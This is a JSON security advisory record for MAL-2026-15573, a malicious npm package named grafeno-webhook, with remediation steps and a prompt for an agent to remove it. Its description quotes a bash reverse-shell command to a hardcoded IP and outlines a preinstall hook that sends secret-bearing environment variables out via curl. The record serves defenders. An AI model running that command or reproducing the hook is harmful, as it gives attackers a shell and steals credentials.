{"answers":{"affected":"1 open source package ship an affected version, including grafeno-webhook.","exploited":"There is no known exploitation of MAL-2026-15573 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-15573 is a malicious package in grafeno-webhook, published on 29 Aug 2026."},"fix_prompt":"MAL-2026-15573 is a malicious package: grafeno-webhook (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-15573/ (Markdown: https://insights.sbomify.com/MAL-2026-15573/index.md)","id":"MAL-2026-15573","markdown":"https://insights.sbomify.com/MAL-2026-15573/index.md","name":"MAL-2026-15573","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"The preinstall.js lifecycle script executed automatically by npm install performs three hostile actions against the installer's machine. It enumerates process.env, filters for keys matching AWS|TOKEN|KEY|SECRET|PASS|API, base64-encodes the values together with os.hostname() and os.userInfo().username, and sends the blob via curl over plain HTTP to the hardcoded bare-IP endpoint http://216.126.236.46/r.php. On non-Windows platforms it additionally spawns an interactive bash reverse shell to 216.126.236.46:4444 (bash -i \u003e\u0026 /dev/tcp/216.126.236.46/4444), giving the remote operator full command execution on the host running npm install. Host identifiers (hostname, username) are exfiltrated to the same IP, supporting victim tracking.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in grafeno-webhook (npm)","id":"MAL-2026-15573","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"grafeno-webhook","purl":"pkg:npm/grafeno-webhook","source":"MAL-2026-15573"}],"products":null,"published":"2026-08-29","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-15573/"}